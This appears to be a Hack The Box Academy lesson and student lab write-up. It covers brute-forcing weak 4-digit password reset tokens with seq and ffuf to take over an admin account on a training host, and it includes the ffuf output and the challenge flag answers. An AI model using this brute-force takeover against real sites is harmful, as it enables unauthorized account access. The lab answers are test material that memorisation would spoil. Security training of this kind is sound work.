Brute-Forcing Password Reset Tokens

Many web applications implement a password recovery functionality in case a user forgets their password. This password-recovery functionality typically relies on a one-time reset token, which is transmitted to the user, for instance, via SMS or email. The user can then authenticate using this token, enabling them to reset their password and access their account.

As such, a weak password-reset token may be brute-forced or predicted by an attacker to gain unauthorized access to a victim's account.

Identifying Weak Reset Tokens

Reset tokens (in the form of a code or temporary password) are secret data generated by an application when a user requests a password reset. The user can then change their password by presenting the reset token.

Since password reset tokens enable an attacker to reset an account's password without knowledge of the password, they can be leveraged as an attack vector to take over a victim's account if implemented incorrectly. Password reset flows can be complicated because they consist of several sequential steps; a basic password reset flow is shown below:

Password reset flowchart: User forgets password, requests reset, receives token, uses it to log in, and changes password. Webapp generates and sends token, verifies it, grants login, and forces new password.

To identify weak reset tokens, we typically need to create an account on the target web application, request a password reset token, and then analyze it to determine its strength. In this example, let us assume we have received the following password reset email:

Hello,

We have received a request to reset the password associated with your account. To proceed with resetting your password, please follow the instructions below:

1. Click on the following link to reset your password: Click

2. If the above link doesn't work, copy and paste the following URL into your web browser: http://weak_reset.htb/reset_password.php?token=7351

Please note that this link will expire in 24 hours, so please complete the password reset process as soon as possible. If you did not request a password reset, please disregard this email.

Thank you.

As we can see, the password reset link contains the reset token in the GET parameter token. In this example, the token is 7351. Given that the token consists of only a 4-digit number, there can be only 10,000 possible values. This allows us to hijack users' accounts by requesting a password reset and then brute-forcing the token.

Attacking Weak Reset Tokens

We will use ffuf to brute-force all possible reset tokens. First, we need to create a wordlist of all possible tokens from 0000 to 9999, which we can achieve with seq:

m4cc18@htb[/htb]$ seq -w 0 9999 > tokens.txt

The -w flag pads all numbers to the same length by prepending zeroes, which we can verify by looking at the first few lines of the output file:

m4cc18@htb[/htb]$ head tokens.txt

0000
0001
0002
0003
0004
0005
0006
0007
0008
0009

Assuming that there are users currently in the process of resetting their passwords, we can try to brute-force all active reset tokens. If we want to target a specific user, we should first send a password reset request for that user to create a reset token. We can then specify the wordlist in ffuf to brute-force all active reset-tokens:

m4cc18@htb[/htb]$ ffuf -w ./tokens.txt -u http://weak_reset.htb/reset_password.php?token=FUZZ -fr "The provided token is invalid"

<SNIP>

[Status: 200, Size: 2667, Words: 538, Lines: 90, Duration: 1ms]
    * FUZZ: 6182

By specifying the reset token in the GET parameter token in the /reset_password.php endpoint, we can reset the password of the corresponding account, enabling us to take over the account:

Password reset page with message: "Hello admin, please reset your password." Field for new password and submit button. Link to return to login.


Exercise

TARGET: 154.57.164.71:30576

Challenge 1

On what do password recovery functionalities provided by web applications typically rely to allow users to recover their accounts?

flag: one-time reset token

Challenge 2

Which flag of seq pads numbers by prepending zeros to make them the same length?

flag: -w

Challenge 3

How many possible values are there for a 6-digit OTP?

There are 10 possible values for each of the 6 digits, which means:

Total possible values=106=1,000,000

flag: 1000000

Challenge 4

Takeover another user's account on the target system to obtain the flag.

Discovery

First we visit the target web app to look for a "Forgot my password" or "Reset your password" function:
image-5.png

I will use the admin account discussed in this section, and input it as the username to reset its password:
image-6.png

After clicking Submit, we get the following confirmation:
image-7.png

Note that if we try to click on "here" to try to enter the token and reset the password we are shown:
image-8.png

Exploitation

Following the same format specified in the email reviewed in this section, the token should be a 4-digit number and it is passed to the server through the GET parameter token. Given that the token consists of only a 4-digit number, there can be only 10,000 possible values.

First, we need to create a wordlist of all possible tokens from 0000 to 9999, which we can achieve with seq:

┌──(macc㉿kaliLab)-[~/htb/broken_authentication]
└─$ seq -w 0 9999 > tokens.txt

We can then specify the wordlist in ffuf to brute-force all active reset-tokens, which we are sure they exist since we know the admin account is under the process of resetting its password:

┌──(macc㉿kaliLab)-[~/htb/broken_authentication]
└─$ ffuf -w ./tokens.txt -u http://154.57.164.71:30576/reset_password.php?token=FUZZ -fr "The provided token is invalid"

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://154.57.164.71:30576/reset_password.php?token=FUZZ
 :: Wordlist         : FUZZ: /home/macc/htb/broken_authentication/tokens.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Regexp: The provided token is invalid
________________________________________________

9559                    [Status: 200, Size: 2920, Words: 596, Lines: 92, Duration: 127ms]
:: Progress: [10000/10000] :: Job [1/1] :: 290 req/sec :: Duration: [0:00:36] :: Errors: 0 ::

Lets try to login by navigating to the URL including the token:

http://154.57.164.71:30576/reset_password.php?token=9559

image-9.png

flag: HTB